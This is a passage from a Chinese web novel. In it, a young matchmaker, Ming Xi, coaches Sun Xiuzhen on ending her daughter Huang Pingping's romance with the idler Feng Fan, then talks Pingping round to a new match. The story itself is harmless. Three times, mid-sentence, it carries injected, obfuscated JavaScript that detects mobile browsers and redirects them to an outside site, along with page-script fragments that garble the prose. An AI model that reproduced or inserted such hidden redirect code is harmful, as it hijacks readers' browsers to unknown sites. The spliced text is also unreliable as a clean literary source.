孙大妈：“没啊，我就是为了让萍萍跟冯帆分手，才找你给她介绍对象的啊！” 明晞傻眼。 这、这、这不对吧？ “那个，孙大妈，要是萍萍没跟她对象分手的话，我不能给她介绍对象，这不合适。” 明晞虽然想做生意，但职业道德还是有的。 给人家有对象的人介绍对象，这不成拉皮条的吗？ 孙大妈一愣：“这有什么不合适的，谁说有对象就不能再给她介绍对象了呢？” 明晞：…… 这、这对吗？ 不是说这年代的人都很保守吗？ 明晞斟酌了一下语言，说：“嗯，我知道，孙大妈你不想让萍萍跟她对象在一起，这个我能理解。我妈也说萍萍那个对象不行，不靠谱。” “可不是！”孙秀珍一说起这个就拉开话匣子。 “真不是我对那个冯帆有意见，实在是他这人不行。你不知道，冯帆初中毕业就没再继续读书了，因为没考上高中，他毕业之后就跟那些胡同串子整天游手好闲，走街串巷地混社会。后来他家里好不容易凑钱给他买了个工作，结果怎么着呢，有工作，他照样不好好去上班，三天打鱼两天晒网的，抽烟、喝酒、赌博、什么不好的都干，就是一点正事不干。” “你说萍萍要嫁给这样的人，我能放心吗？” 明晞：“那不能，肯定不能！” 孙秀珍：“就是啊！” 她苦着脸，一脸委屈：“可惜萍萍不想你一样懂事，不懂我的良苦用心，只觉得我是针对冯帆。她还说冯帆的家人都比我对她要好。” 说到这个，孙秀珍是真生气：“冯家人哪有一个好东西啊，我早就跟人打听过，冯家人重男轻女，冯帆前头还有四个姐姐，你猜他四个姐姐都叫什么名？” 明晞试探性地说：“招娣？” “没错！”孙秀珍气呼呼地说：“冯帆前面四个姐姐，分别叫招娣、念娣、想娣、来娣。” “而且，别人还告诉我说，冯家几个闺女没一个嫁的好的，冯家大闺女嫁给大她二十多岁的前革委会主任，二闺女嫁给供销社那个打跑了三个媳妇的经理，三闺女嫁给了一个退伍回来没了一条腿的男人。” 冯家四闺女倒是还没嫁人呢，但看她前面几个姐姐嫁的人就知道冯家估计也打算把她卖出去呢。 孙秀珍一边说一边撇嘴，她就黄萍萍一个闺女，自然没有重男轻女的想法，更瞧不起冯家人这样不把闺女当人，糟践闺女的人。 而且，说句实话。 冯家两个老的连自己闺女都不当人，那能好好对别人家闺女吗？ 她家没什么心眼的闺女嫁过去，指不定要被冯家人欺负成什么样呢！ 孙秀珍越想越气，心口不平静地大弧度起伏着，明晞适时地递上一杯水：“孙大妈您消消气，喝口水歇歇。” 听完孙大妈的话，明晞倒是明白她为什么这么坚决地反对黄萍萍和冯帆的事了。 不论是冯帆这个人，还是冯家，都不是个好选择。 孙秀珍摆手：“我没办法消气，萍萍一天不跟冯帆分手，我就一天消不了气！” “小明啊，你也是年轻姑娘，应该跟我们家萍萍没有代沟，你帮我想想，我要怎么样才能让萍萍跟冯帆分手？” 孙秀珍属实是没办法，直接病急乱投医，找明晞这个媒婆求上劝分手秘诀了。 明晞：“这个……这个我也不知道。” 她无奈地耸耸肩，倒是好奇起来：“孙大妈，萍萍跟冯帆是怎么在一起的啊？” 按理说，冯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997004|178219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帆一个街头混混是不会跟黄萍萍这种乖乖女有接触的，更别说谈恋爱了。 孙秀珍捏着眉毛深深叹气：“唉，说起来都是孽缘！” 她说：“年初那会，萍萍跟朋友出去看电影，电影散场已经是晚上了，两个人回来的时候在半道上遇见抢劫的，是冯帆救了萍萍和她朋友。当时我和我们家老黄还觉得冯帆是个好人，特意买了东西带上萍萍去冯家感谢来着。就这么一来二去的，萍萍跟冯帆认识了，后面还喜欢上冯帆。其实这事儿我也有错，我就应该在萍萍跟冯帆开始来往的时候，就去调查冯帆是个什么样的人，然后及时拦下他跟萍萍的来往。” 孙秀珍深深地叹口气，眼里满是后悔：“可惜啊，我当时没想那么多，是后面萍萍跟我说，她跟冯帆在一起了，我才去调查他的。” 明晞这下懂了。 黄萍萍本来就是个涉世未深的小姑娘，再加上这么一个英雄救美的初见，而且冯帆的皮囊还是很不错的。 明晞没见过冯帆，但赵素兰见过，听她说冯帆长得不错。 这么一套连招下来，黄萍萍不沦陷才奇怪。 最最最主要的，还有孙秀珍的态度。 明晞从孙秀珍的话里就能听出来，黄萍萍从小到大就是个听话的孩子，跟冯帆谈恋爱，是唯一一件没听父母话做出来的事情。 其实对于黄萍萍来说，她坚持要跟冯帆在一起，或许不是因为有多爱对方，而是要反抗家里人从小到大对她的掌控。 这是青春期小孩的通病。 虽然明晞从小到大都没有过青春期，但上大学当家教赚外快的时候，为了对付雇主家的臭屁高中生小孩，她可是读过一整本儿童心理学和青春期生理学的。 看着愁眉不展的孙秀珍，明晞决定发发善心，帮她出招：“孙大妈，你错了，谈恋爱这种事堵不如疏。” 孙秀珍眉毛紧紧皱起，形成一道道沟壑：“什么？堵不如疏？你的意思是让我支持萍萍和冯帆恋爱？” 说到后面，她声音提高几分，显得有些尖利。 明晞：“您难道没发现，每次您越让萍萍分手，她跟冯帆的感情越深厚吗？” “这、这……”孙秀珍结结巴巴，想否认，可仔细一想，明晞说的还真没错。 她恍惚了：“难道，我真的应该从一开始就支持萍萍？” 明晞笑：“那也不是，您要是从一开始就支持萍萍跟冯帆在一起，没准两人现在已经结婚了呢。” 孙秀珍这下彻底晕了：“那、那这么说我支持也不对，不支持也不对？” 明晞：“那倒也不是。” 她说：“有的时候应该反对，有的时候应该支持。单支持也不行，单反对也不行。只要您在该支持的时间点支持，该反对的时候反对，包准萍萍能跟冯帆分手。” “你这又是支持又是反对的，彻底给我弄糊涂了。”孙秀珍脑门直冒星星。 她握着明晞的手：“小明同志，算大妈我求求你，你这样，把话说明白点，以后我该怎么办？” 15. 分手了 明晞挑挑眉毛：“那我真说了？” 孙秀珍着急：“小明同志，你可赶紧说吧！” 明晞：“您这样，等今天回家以后，您就跟萍萍说，你不反对她和冯帆在一起了。” 听到这话，孙秀珍眉毛皱成一团，明显不愿意。 明晞：“您不仅得表现得自己不反对他们在一起，还得支持他们在一起。萍萍要是问您为什么突然改变态度，您就说是自己想开了，冯帆人其实也还不错。” “接下来您就天天在萍萍面前夸冯帆，怎么好怎么夸，最好把他夸得天上有地下无。” 孙秀珍眉毛皱得能夹死苍蝇。 她是一点也看不上冯帆，让她夸冯帆好，那还不如杀了她呢。 孙秀珍：“这、这样能行吗？” 明晞耸耸肩：“反正我主意给您出了，您愿不愿意试试都随您。” 孙秀珍知道明晞作为一个外人能把话说到这份上已经很好了，但是她心里还是有点犹豫。 孙秀珍抬头看了明晞一眼，接着放低姿态，说：“那个什么，小明同志，我不是不愿意试，我就是有点不太明白，为什么我还得在萍萍面前夸冯帆？” 明晞没有正面回答这个问题，而是问孙秀珍：“孙大妈，您觉得冯帆这个人怎么样？” 孙秀珍：“他？不怎么样，浑身上下都不成！” 明晞耸耸肩：“您看您也说了，冯帆这个人不怎么样。萍萍现在这么要死要活的喜欢他，一是因为有当初被冯帆救了的滤镜，二是跟你们作对，三就是因为不够了解冯帆。” 她说：“萍萍了解的冯帆是她心里的冯帆，更准确的说，是她想象中的冯帆，一个从抢劫犯手里把她救下来，保护她安全的大英雄冯帆。但真正的冯帆显然不是这样的冯帆。您现在要做的就是，把萍萍心里想象地那个冯帆扩大化，这样萍萍面对真正的他的时候，就会感觉到落差，慢慢地两个人之间必定要出现问题的。” 孙秀珍恍然大悟：“我明白了！” 孙秀珍越想越可行，站起身，打算立马回去跟黄萍萍试试。 不过她倒是没有忘记给她出主意的明晞，走了两步后回头，抓住明晞的手说：“大妈记着你帮大妈出主意这个恩，你放心，等萍萍跟冯帆分手，大妈立马过来请你给萍萍介绍对象哈。” 她认真保证：“你放心，我绝对不找别人，就找你！我认准你了！” 孙秀珍一边说，一边从口袋里掏出二十块钱塞给明晞：“这个钱就当是大妈我的订金。” 明晞哭笑不得。 见过买东西预订的，也见过吃饭预订的，可预订介绍对象的，这还是第一次。 但耐不住孙秀珍态度坚决，不管明晞怎么说，硬是把钱塞给明晞，没办法，明晞最后只好把钱手下，孙秀珍这才满意地离开。 明晞很是笃定黄萍萍和冯帆一定会分手。 两个人家庭不同，生长环境不同，注定了两个人的三观差距会很大。一开始相处的时候，两个人都觉得新鲜还好说，时间长一定会出现问题。 只不过，明晞没想到那一天会来的这么快。 距离孙秀珍离开没有五天，她就又过来了。 彼时明晞正在家里洗洗涮涮。 这几天她一直没有人上门找她介绍对象，不过她倒是也不怎么着急，毕竟手里还有钱。 正好趁现在不忙，再加上三月底四月初天气暖和，她把家里的床单被套、还有冬天穿的棉袄棉裤全都收拾出来洗洗。 冬天天气冷，水凉，洗完的衣服还不容易干，所以一整个冬天，这些都没拆下来洗过，趁现在天气暖和，赶紧洗洗，洗干净好放柜子里。 明晞抱着大洗衣盆在院里洗洗搓搓，屋里躺着的赵素兰那叫一个心疼。 从小到大，她都没让她家晞宝干过家务活。 结果她这一病可倒好，家里的活全落在她家晞宝身上。 可怜她家晞宝要洗这么多衣服，手都要泡白了。 小姑娘家家的，手就是第二张脸，手泡白变粗就不好看了。 不行，她必须得快点好起来，这样才能不让她家晞宝继续吃苦。 院里的明晞倒是不知道因为自己洗个衣服，赵素兰就有这么多感慨。 洗衣服嘛，又不是没洗过。 不过，一下洗这么多衣服确实挺累得慌。 明晞心里盘算着手里的钱，周翠花赔了她一百多、杜淑英给了她七十、杜海请她说媒给了一百、孙秀珍上次给了二十，加起来差不多三百多块钱，还有原身攒下来的零花钱，加一块差不多四百块钱。 买个洗衣机是够的。 不过，赵素兰的性格，应该不会轻易同意她拿钱买洗衣机的。 明晞正寻思要怎么说服赵素兰同意自己买洗衣机的时候，孙秀珍来了。 孙秀珍脚步轻快，脸上也不复之前的焦虑，反而是一脸的喜色。 她来到明晞身前，喜上眉梢地说：“小明同志，好消息啊，我家萍萍终于跟冯帆分手了！” 明晞甩甩手，站起身：“分手了？这么快？” 孙秀珍：“可不是，我都没想到会这么快！” 明晞心里好奇，是发生了什么，黄萍萍和冯帆这么快就分手。 “走，孙大妈，咱们进屋说。”明晞擦擦手，领着孙秀珍进屋。 孙秀珍进屋坐下，立马兴奋地开口：“小明啊，你的方法真有用！” 她说：“那天我从你这儿回去之后，就照你教我的跟萍萍说了，说同意她们俩的事情。萍萍一开始还不相信我，我就跟她说没办法，谁让她死活不听我们的话，我们拗不过她，再加上仔细一想，冯帆人也还不错，所以同意她们俩的事。就这样，萍萍才相信我的话。我后面就天天在她面前说冯帆人怎么怎么好，虽然冯帆不干正事，但他善良、心疼人、对萍萍好、爱萍萍……怎么夸张怎么说。一开始萍萍还挺高兴，但后来就变脸了。” 孙秀珍：“我当时跟萍萍说，冯帆那么好，让她听冯帆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997005|178219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话，千万别惹冯帆生气，不然可就再找不到这样好的男人。萍萍一听这话就不高兴了。” 明晞勾起嘴角轻笑。 黄萍萍是家里的独生女，从小不说千娇百宠，那也是在父母的爱里长大的，她自然有属于她自己的骄傲。听到孙秀珍这话，生气是正常的。 孙秀珍：“我看见萍萍不高兴，后面就故意这么说，我说一次萍萍不高兴一次，后面提起冯帆的时候，萍萍直接甩脸子不许我说。我怕不说，萍萍对冯帆的热乎劲儿又回来，就直接把冯帆喊过来，说要给冯帆换个工作。他不是说自己不愿意去车间上班吗，觉得车间的工作配不上他，我就提议说要给冯帆换个坐办公室的好工作。还说让萍萍把现在的工作辞了，以后嫁给冯帆，急男主外女主内，让她好好在家里照顾家事。冯帆听到这话当然高兴，一句话没说，直接点头答应，萍萍不愿意，就生气的跟冯帆吵起来，两个人吵到最后，就提了分手。” 虽然黄萍萍现在因为她的话在跟她闹脾气，但一想到黄萍萍跟冯帆分手，孙秀珍就觉得高兴。 明晞看着孙秀珍激动的表情，没忍住还是泼冷水道：“孙大妈，您先别高兴地这么早，我看萍萍这次也就是气上头，才跟冯帆提的分手，等气消下来，说不定还要后悔的。” 这话就像是一盆凉水一样，直接把孙大妈火热的心浇得哇凉哇凉的。 “那怎么办啊，小明你再帮我想想办法，别我忙活半天，萍萍再跟冯帆复合。” 孙秀珍病急乱投医：“对了，小明，你不是给人介绍对象吗，趁这会儿，你赶紧给我家萍萍介绍个新对象呗，有了新对象，她总不可能再惦记着冯帆。” 明晞犹豫。 孙秀珍心都提起来：“你上次说我家萍萍还有对象，所以你不能给她介绍，她现在没有了，你不能还不给介绍吧？” 她问：“是不是钱的事儿？要是钱不够，你尽管跟我说，不管多少钱我都愿意出，只要你尽快给我家萍萍介绍个对象就行。” 明晞挑挑眉毛。 她故作为难：“嗐，孙大妈，你看你这话说的……不过既然您都这么说，那我肯定是要帮忙的。不过。” 明晞话风一转：“既然是给萍萍介绍对象，我还是得跟萍萍见一面，问问她的想法才好。” 孙秀珍皱巴着脸：“还得问萍萍啊，她说不定不会愿意。” 明晞笑：“她愿不愿意，那也得我跟萍萍见面才知道，孙大妈您说是不是？” 孙秀珍看见明晞脸上的笑容，心头蓦的一松。 明晞可不是别人，是给她出主意让黄萍萍和冯帆分手的人！ 她和萍萍见面的话，一定能劝的萍萍同意找对象的。 明晞倒是不知道自己在孙秀珍心里的印象有多高大，她只看孙秀珍犹豫一会后，便点头答应下来。 “行。” 孙秀珍想了想：“择日不如撞日，要不就今天吧。小明同志你有事没，要是没事的话，一会儿跟我去我家里一趟？” 16. 黄萍萍 明晞倒是没什么事儿。 她这几天也没有生意上门，基本都在家里闲着。 听到孙秀珍邀请，爽快地点头答应：“行，我就跟您走一趟。” “不过您等我一下，我把衣服晾上。”明晞指指院里洗好的衣服。 孙秀珍当然没意见。 明晞麻溜地把衣服晾上，进屋跟赵素兰说了声，又去前院的马家跟马大妈打了声招呼，让她帮忙看着点赵素兰。 都交代完，明晞就跟着孙秀珍一块出门。 孙秀珍家距离明晞家倒是有点距离，不过坐公交车的话，倒也不是很远。 明晞跟孙秀珍做了两站地，很快就来到孙秀珍家楼下。孙秀珍家住的是筒子楼，跟明晞家一样，也是单位分的房子。 这年头的筒子楼跟后世的楼房没法比，厨房和厕所都是一层楼的住户一起共用的，房子又小又密集，导致屋里放不下的东西都被塞到楼道里，搞得楼道被各种家伙什塞得满满当当，只留下一个人可通行的空间。 不过放在当下，筒子楼已经是高级住宅了。 毕竟每层楼都有单独的卫生间，跟住大杂院，和一整个胡同的人抢公厕还是要方便不少的。 明晞跟着孙秀珍上楼，孙秀珍家住二楼，到二楼，孙秀珍领着明晞走到走廊尽头打开靠右边的房门。 “来，小明同志，你先坐会，我去给你倒水。” 明晞：“孙大妈不用倒水，我不渴，对了，萍萍呢？” 孙大妈：“萍萍在屋里呢。” 明晞：“我进去跟萍萍说两句。” 孙大妈抬头瞅了眼黄萍萍的卧室房门，犹豫说：“那我进去跟萍萍说一声。” 没等明晞回话，孙秀珍就推开黄萍萍房门走进去，隔着房门，明晞听不见屋里母女两个说了什么，只见孙秀珍进去没一会就出来。 孙秀珍表情尴尬地说：“那个什么，小明同志，你进去吧，不过……我家萍萍有点不太愿意你给她介绍对象，她一会要是说了什么不好听的话，我提前给你道歉，你千万别介意。” 明晞摆摆手：“您放心，我不会的。” 在孙秀珍担忧的眼神中，明晞走进黄萍萍的房间。 黄萍萍房间不大，但布置得很温馨，粉白色的床单和蕾丝花边的窗帘，铺着小碎花桌布的书桌上放着好几本言情小说，看名字是从湾湾那边传过来的盗版书籍。不过被黄萍萍这个主人保存的很是完好。 明晞走进房间，笑着跟黄萍萍打招呼：“黄同志，你还记得我吧？”她指着自己说：“在医院的时候，我妈住你对面那床。” 黄萍萍绷着一张脸：“寒暄就免了，我妈已经跟我说了，她拜托你帮我介绍对象。我也不怕跟你说实话，我不需要你给我介绍对象！” 明晞表情没有丝毫变化，就像是没听到这话一样，自顾自的坐在黄萍萍床边的椅子上。 黄萍萍见她这样，不由得着急起来：“喂，我跟你说话嗯，你没听见吗，我不需要你给我介绍对象！就算你们逼我，我也不会去相亲的！” 明晞敷衍地点点头：“嗯嗯嗯，听见了，你不愿意相亲，我知道。” 她随手捡起黄萍萍床头柜上放着的橘子，剥开捡起一瓣塞进自己嘴里。 黄萍萍气鼓鼓。 这是她家的橘子，这个女人问都不问一句就吃，这合适吗！ 最关键的是，这女人居然都没说分给她一瓣！ 黄萍萍怒了一下又怒了一下，最后还是气不过，鼓着脸蛋自己也伸手拿了一个橘子吃。 只不过刚塞进嘴里，她就后悔了。 不是，这橘子怎么这么酸！ “噗嗤——” 看着黄萍萍瞬间皱起的脸蛋，明晞没忍住笑出来：“我刚才就想跟你说来着，这橘子不好吃，特别酸。” 黄萍萍瞪着眼睛，怒目而视。 “你是故意的，故意不跟我说，想要看我出丑！” 明晞无辜地眨眨眼睛：“我没有，我真是忘了说了。” 黄萍萍：“哼！” 她才不会相信呢！ 明晞耸耸肩，八卦地戳戳黄萍萍，就像是跟好姐妹八卦一样问：“哎，我听说你跟你对象分手了？是不是真的啊？” 黄萍萍：“你！” 她眼睛瞪得更大，没想到明晞会哪壶不开提哪壶。 明晞：“看你这反应，应该是真的。”她挠挠头，故作困惑地说：“不是，你跟你对象感情不是很好的吗，怎么说分手就分手了？” 黄萍萍不说话，其实她跟冯帆提完分手之后就后悔了。 明晞：“这么突然的分手，难不成是你对象在外面有人了？” “你别胡说！”黄萍萍听不下去，开口说：“没有别人，就是吵架了分的手。” 虽然明晞已经从孙秀珍那听说了事情的经过，但这个时候她还是装作一头雾水地问：“因为什么吵架啊？” 黄萍萍皱着眉毛不想说：“你问那么多干嘛，我妈请你过来，不是让你给我介绍对象的吗？你一个劲儿的打听我跟冯帆的事儿干嘛？” 明晞耸耸肩：“你不是不需要我给你介绍对象吗？我寻思我要给你介绍对象的话，你也不愿意听，那还不如咱们俩唠会嗑呢。这样你也好受，我在你妈那边也好交差。” 黄萍萍鼓着脸蛋本来想骂明晞好奸诈，可还不等她说话，明晞就又说。 “你可别觉得我这样是占了你妈的便宜，你妈现在是打定主意要给你介绍对象，不是找我，也会去找别的媒人。到时候换别人来，可不会像我这么好，知道你不愿意被介绍对象，就不说话的。” 黄萍萍已经到嘴边的话一下就被堵得说不出来了。 明晞说得好像有道理啊…… 黄萍萍偃旗息鼓，之前满身的刺也收敛起来。 明晞见状，又戳了戳她：“所以，你跟我说说呗，你跟你对象为啥分手。” 黄萍萍态度缓和一些，虽然知道明晞是八卦来的，但话在心里憋了好几天，好不容易有一个倾诉的地方，她还是开口。 “就是我妈跟我对象说，要给他安排工作，但是却跟我说，让我工作不用那么努力，随随便便干干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997006|178219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就行，我结婚以后主要还是要照顾家里。” 黄萍萍现在说起来还是生气：“凭什么跟我对象说就是让他好好工作，跟我说就是让我不用那么努力。我妈甚至还提议让我辞职，以后结婚好有更多精力照顾家里。我辛辛苦苦考上的工作，就因为要结婚，就得辞职？那凭什么不是我对象辞职照顾家里呢，反正他也不怎么爱上班。而且说这话的还是我妈？” 她噘着嘴说：“我现在都不知道我妈到底是我妈，还是我对象的妈了。” 明晞：“可，这不是你跟你妈之间的矛盾吗，跟你对象有啥关系？” 黄萍萍一脸不可思议地说：“怎么没关系？” 她说：“我跟我妈吵起来的时候，他就在边上听着，我妈说让我辞职的时候，他还点头了！” 黄萍萍：“他明明知道我喜欢我现在的工作，可是就因为我妈说我辞职之后能更好的照顾家里，他就赞同我辞职，他根本没把我的感受放在心上！” 她越说越生气：“之前也是，他带我出去吃饭，根本不问我喜欢吃什么，只点他喜欢吃的。出去玩也是，从来不考虑我想去哪，永远是带着我跟他那些兄弟一起出去玩。他们又抽烟又喝酒的，我讨厌都讨厌死了。” 明晞挑挑眉毛：“那、分就分了吧，这样的男人不值得。” 黄萍萍：“……话也不是这么说的。” 她皱着眉毛，犹犹豫豫地说：“其实冯帆还是有好的一面的。” “嗯？”明晞歪着头，做出侧耳倾听的样子。 黄萍萍：“他、他、他……” 黄萍萍憋了半天，憋出一句：“我对象他长得还是很好的。” 黄萍萍想来想去，一时之间，还真想不到冯帆有什么优点。她有一瞬间的恍惚，怎么会呢，冯帆要是没有优点的话，她为什么会喜欢冯帆，又为什么会不舍得跟冯帆分手？ “噗嗤”明晞笑着说：“长得好看的小伙子多了去了，别的不说，就我手头有资料的，就有不少呢！” 黄萍萍：“那不一样！” 明晞：“怎么不一样了？” 她从上衣口袋里掏出几张一寸照片出：“正好，我今天带着照片过来的，都是长得好看的小伙子呢！” 她说着就把照片摆在黄萍萍面前。 黄萍萍眼睛一瞄就跟其中一张照片的男人对上视线，男人五官清隽，眉眼精致，哪怕是黑白的一寸小照片，也挡不住对方帅气的长相。 黄萍萍脸瞬间就红了。 别说。 这人好像是比冯帆长得要好看啊。 意识到自己想的什么后，黄萍萍赶紧摇摇头。 不行不行，黄萍萍你怎么能是这么一个见色起意的人呢。 你跟冯帆之间是自由恋爱，有深厚的感情，不能因为对方长得好看你就动摇！ 黄萍萍一边催眠自己，一边十分舍不得的把目光从照片上移开。 明晞一看这样，就知道这姑娘心动了。 她故意笑着说：“怎么样，他长得比你前对象好看吧？要不要跟对方见个面看看？” 17. 要自由恋爱 黄萍萍思考一会后反应过来：“你这个狡猾的女人，不是说不给我介绍对象吗？” 她瞪着眼睛，眼睛大大的，像个发现自己被欺骗了的小兔子。 明晞：哎呀，套路被发现了。 黄萍萍环抱胳膊，重重地“哼”一声，说：“你还是想给我介绍对象，逼我去相亲是吧？我告诉你，不可能！我是绝对不会去相亲的！” 明晞见她说得一脸认真，好奇地问：“你为什么不愿意去相亲啊？” 黄萍萍本来不想说的，但看明晞是真的好奇，便大发慈悲告诉她：“相亲多没意思啊，两个人坐下，开口不是说自己家里的条件，就是说自己找对象的要求，好像只要符合要求了，两个人就必须得在一起，跟给动物配种一样。我们之所以是人，就是因为我们比动物要高级，因为我们有感情，如果我们还跟动物一样根据本能结合繁衍，而不是因为爱情，那我们还算是人吗？” 黄萍萍说完，以为明晞会反驳自己，没想到明晞听完，摸摸下巴点了下头。 明晞：“嗯，你说得有道理。” 这下惊讶的人轮到黄萍萍，她眉毛惊讶地挑高：“啊？” 明晞话锋一转：“不过相亲也不一定就是照你说得那样，只看对方符合不符合自己的要求呀。我给人介绍对象，只是给一个认识别人的机会，见面聊什么，怎么聊，看不看得对眼，愿不愿意继续相处下去，都要看真的去相看的当事人。” “你把相亲妖魔化了，相亲又不是过去旧社会的包办婚姻。” 明晞看着黄萍萍，那眼神让黄萍萍觉得她仿佛在说自己少见多怪。 黄萍萍脸瞬间红起来。 明晞：“不过，你既然不愿意相看就算了吧，说实话，我也是觉得人家小吴时哥好小伙，才想着把照片拿出来给你看看，不过你既然觉得相亲不能收获真爱，那我还是把小吴介绍给别的姑娘吧。” 黄萍萍：…… 就这么算了吗？ 其实明晞可以再多说说的，没准她就同意相看呢。 明晞一边把照片塞回口袋，一边偷瞄黄萍萍的表情，在看到她脸上的失望后，得意地勾起嘴角。 欲擒故纵就是要吊起黄萍萍的胃口才行啊。 她放好照片，说“：“也对，你跟你男朋友感情那么深，现在一定还忘不了他呢吧。” 黄萍萍沉默。 如果说明晞没来之前，她确实还忘不了冯帆，还想着跟冯帆复合，可是跟明晞聊完，心里对冯帆的惦记好像突然就变浅了。 仔细想一想，冯帆好像也没有什么地方特别值得她喜欢吧？ 论工作，冯帆只是一个在车间的学徒工，她是宣传科干事；论家庭，她爸是领导，她妈虽然差一点，但是在供销社，也是个好工作，而冯帆家里，只有他爸一个工人，还是机械厂普通的不能再普通的三级工。 唯一值得夸得，也就是冯帆长得还不错了。 可她长得也不错啊。 再说，冯帆长得好看，可天底下好看的人那么多，远的不说，就说近的，刚才明晞拿出的那张照片上的人可比冯帆好看多了。 黄萍萍越想越觉得，她之前是昏了头，不然怎么会那么喜欢冯帆。 甚至还为了冯帆要死要活。 最重要的是，她都这样了，冯帆也没有多关心她，之前去医院看她，说的第一句话还是找她要钱。 “我之前到底图什么啊……”黄萍萍不由得嘀咕出声。 明晞故作没听清她的话一般歪头：“啊？你刚才说什么？” 黄萍萍摆手：“没什么，没什么。” “哦，没什么啊。”明晞站起身：“时候不早了，既然你没什么要说的，那我就先回去了。” 黄萍萍愕然：“你这就回去了？” 明晞想当然的点头：“当然了，我都陪你聊半个多小时了，你还不让我走啊？” 半个多小时？ 黄萍萍恍惚，时间过得那么快吗？ 可眼瞅着明晞就要走出自己房间，她不高兴起来：“喂，你就这么走了，不给我介绍对象？难道你就不怕我告诉我妈，说你消极怠工？” 明晞故作无奈地调转脚尖：“不是，你什么意思？” 她说：“不是你刚才说你不愿意相亲的吗，现在怎么又叫我给你介绍对象。” 黄萍萍一噎，她也知道自己不占理。 她一口咬定：“那我不管，反正我就知道，我妈请你来是给我介绍对象的，你要是不给我介绍对象，你就别想走！” 明晞举手投降：“行行行，我给你介绍。” 她走回黄萍萍床边，把收回去的照片拿出来：“就这个，我刚才给你看照片的小伙子怎么样？他叫吴振生，也是你们机械厂的职工。” 黄萍萍：“机械厂的职工？我怎么没有听说过他的名字。” 明晞：“这有什么好奇怪的，你们机械厂人那么多，你怎么可能每个人都认识。再说了，人家小吴刚进厂子没多久，现在还只是个学徒工呢。” 黄萍萍：“学徒工？” 明晞解释：“对，学徒工。小吴家庭情况不太好，家里兄弟五个，加上他爸妈，一家子七口人，就他爸一个工人。没办法，家里其他人都得到处打零工才能勉强糊口。不过，小吴家庭条件虽然不好，但他这人爱学习，肯上进，干活仔细，还会来事。他之前在你们机械厂干临时工的时候，救了一批差点毁坏的零件，后面被车间主任知道，破格把小吴招进厂里的。” 黄萍萍点点头：“那他是挺厉害的。” 外人可能不知道，但她是机械厂的职工，清楚机械厂招工的标准有多高，要不是立了大功，车间主任肯定不会招吴振生进厂子的。 黄萍萍不由得对这个没见过面的吴振生来了兴趣，她问：“吴振生家里有五个孩子呀？” 明晞点头：“对，加上吴振生，一共哥五个。” 她补充：“吴振生在家里排老三。吴家男孩多了，长辈就不心疼，尤其是吴振生这样，上面有顶门户的大哥二哥，下面还有弟弟，吴家父母经常忽视他。不过他 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明晞装作没注意到黄萍萍的表情一样，又详细的把吴振生的情况给她介绍一遍。 说得最后嘴巴都干了。 “大小姐，你让我给你介绍对象，我给你介绍了，现在吴振生的情况你都清楚了，我总可以走了吧？” 黄萍萍：“你、你、你……” 明晞无辜脸：“嗯？我怎么了？” 黄萍萍气呼呼地鼓着脸：“没什么！你走吧！” “好嘞，那我就先走了，咱们下次见。”明晞麻溜地起身，不等黄萍萍说话，就拔腿走出她的房门。 “怎么样，怎么样，我家萍萍怎么说？” 明晞一出来就被等在门口的孙秀珍抓住询问。 明晞拍拍孙秀珍手背，说：“孙大妈，现在有一个好消息和一个坏消息，你想先听哪个？” 孙秀珍捂着心口：“哎呀，你这丫头怎么还拿我逗闷子，我这都着急成什么样了，你还问我想先听哪个消息，你就赶紧告诉我吧！” 明晞：“好好好，我不跟您开玩笑。” “跟你直说，好消息是，我估计萍萍不会跟冯帆复合了。坏消息是，萍萍没答应去相看。” 听到这话，孙秀珍长舒一口气。 只要不是黄萍萍要跟冯帆复合，那都是好消息！ 孙秀珍拉着明晞，不确定地问：“小明，你确定萍萍真的不会跟冯帆复合？” 明晞点点头。 黄萍萍确实舍不得跟冯帆分手，她刚才一进去就看出来了。 但她刚才问黄萍萍，冯帆有什么优点，黄萍萍也说不出来。 这说明黄萍萍对冯帆的那一层恋爱滤镜已经被打破了，跳出滤镜，黄萍萍一个千娇百宠的大小姐，怎么可能还看得上冯帆那个小混混。 明晞简单的把这话跟孙秀珍说了。 孙秀珍满脸喜色：“那就好那就好。” 只要她闺女不跟冯帆复合，那愿不愿意找对象都无所谓！ 18. 提亲 明晞又跟孙秀珍说了一会儿话，便从孙家离开。 在孙家耽误了一会儿，回到大杂院已经临近中午，她往后院走去，一边推开门，一边对着屋里喊：“妈，我回来了！” 话刚说完，她就听到从里屋传来一阵说话声。 “妈谁来了？” 明晞把包放下，伸长脖子，探着头往里屋看去，只见杜海老大一个块头正窝在自家的小沙发上。 明晞：“哎呀，是杜同志啊？” 